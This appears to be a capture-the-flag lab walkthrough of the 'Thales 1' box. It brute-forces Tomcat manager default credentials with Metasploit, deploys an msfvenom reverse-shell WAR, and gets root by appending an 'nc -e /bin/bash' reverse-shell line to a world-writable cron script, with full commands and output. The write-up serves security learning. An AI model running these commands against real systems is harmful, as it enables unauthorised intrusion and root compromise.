Thales 1 is a clean introductory box — good if you want a first real look at Tomcat exploitation without too much noise around it. The Tomcat manager login brute with Metasploit takes maybe five minutes, deploying the WAR shell is one command, and then the privesc is a writable cron script that runs as root. Honestly it's closer to 45 minutes than an hour if you've done Tomcat before. The cron privesc part is worth understanding properly — writable cron jobs are way more common in enterprise environments than people expect.
01_Reconnaissance
Two open ports. SSH on 22 and Tomcat on 8080. The Tomcat default page on 8080 loads up — it's an unmodified install, which means the /manager/html path exists. That's the manager app — password-protected, but we'll deal with that next.
$ nmap -sV -sC -p- 192.168.1.6 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 8080/tcp open http Apache Tomcat 9.0.x $ curl http://192.168.1.6:8080/manager/html 401 Unauthorized (Basic auth prompt) Tomcat Manager at /manager/html — authentication required.
02_Tomcat_Manager_Login_Brute
Metasploit's tomcat_mgr_login auxiliary module handles the brute force. It ships with a built-in credential list of Tomcat defaults — tomcat:tomcat, admin:admin, tomcat:s3cret, and a dozen others. This box uses one of the defaults, so it pops in under a minute.
msf6 > use auxiliary/scanner/http/tomcat_mgr_login msf6 auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.6 msf6 auxiliary(tomcat_mgr_login) > set RPORT 8080 msf6 auxiliary(tomcat_mgr_login) > run [+] 192.168.1.6:8080 - Login Successful: tomcat:[REDACTED] [*] Scanned 1 of 1 hosts (100% complete)
Why Tomcat Manager is High-Risk
Tomcat Manager lets authenticated users deploy arbitrary WAR files. WAR = Web Application Archive — it's a ZIP with a servlet inside. Deploy a malicious WAR and you have code execution in the context of the Tomcat service account. On Linux that's usually tomcat or tomcat8. Any instance exposed to a network with default credentials is a one-step RCE.
03_msfvenom_WAR_Deploy
With credentials in hand, generate a reverse-shell WAR using msfvenom and deploy it via the manager API. Metasploit's tomcat_mgr_upload module wraps both the upload and the trigger into one flow. Start a listener, trigger the uploaded app, and get a shell as the Tomcat service user.
# Generate the payload $ msfvenom -p java/jsp_shell_reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f war -o shell.war Payload size: 1082 bytes Final size of war file: 1082 bytes Saved as: shell.war # Upload via curl to manager API $ curl -u "tomcat:[REDACTED]" \ "http://192.168.1.6:8080/manager/text/deploy?path=/shell" \ --upload-file shell.war OK - Deployed application at context path [/shell] # Start listener, then trigger the app $ nc -lvnp 4444 & $ curl http://192.168.1.6:8080/shell/ connect to [192.168.1.100] from 192.168.1.6 $ python3 -c "import pty; pty.spawn('/bin/bash')" tomcat@thales:/$ id uid=1001(tomcat) gid=1001(tomcat)
04_PrivEsc_via_Writable_Cron_Script
Shell as Tomcat user. First thing: check the crontab and look for writable scripts that run as root. /usr/local/bin/backup.sh is in the root crontab and it's world-writable — the permissions weren't locked down. Append a reverse shell one-liner to the script and wait for cron to fire. Took about 30 seconds for the callback.
# Check crontab tomcat@thales:/$ cat /etc/crontab * * * * * root /usr/local/bin/backup.sh # Check permissions tomcat@thales:/$ ls -la /usr/local/bin/backup.sh -rwxrwxrwx 1 root root 42 ... /usr/local/bin/backup.sh World-writable — anyone can modify this file. # Append reverse shell to script tomcat@thales:/$ echo "nc -e /bin/bash 192.168.1.100 5555" \ >> /usr/local/bin/backup.sh # Listener on attacker $ nc -lvnp 5555 connect to [192.168.1.100] from (UNKNOWN) [192.168.1.6] # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt [REDACTED]
Technique — Writable Cron Script Abuse
Cron jobs that run as root are worth enumerating every engagement. The vulnerability here isn't the cron itself — it's the permission on the script it calls. ls -la on any script in /etc/cron* and the root crontab. If a script is writable by anyone other than root, that's a root privesc waiting to happen. In real environments this often comes from DevOps teams creating backup scripts in a hurry and forgetting to set 700.
05_Attack_Chain_Summary
- 01 Nmap → SSH on 22, Tomcat on 8080
- 02 Metasploit tomcat_mgr_login → default credentials cracked
- 03 msfvenom java/jsp_shell_reverse_tcp → shell.war
- 04 Deploy WAR via /manager/text/deploy → trigger /shell → nc callback as tomcat
- 05 /etc/crontab → root runs /usr/local/bin/backup.sh every minute
- 06 backup.sh world-writable → append nc reverse shell one-liner
- 07 Cron fires → root callback → cat /root/root.txt [REDACTED]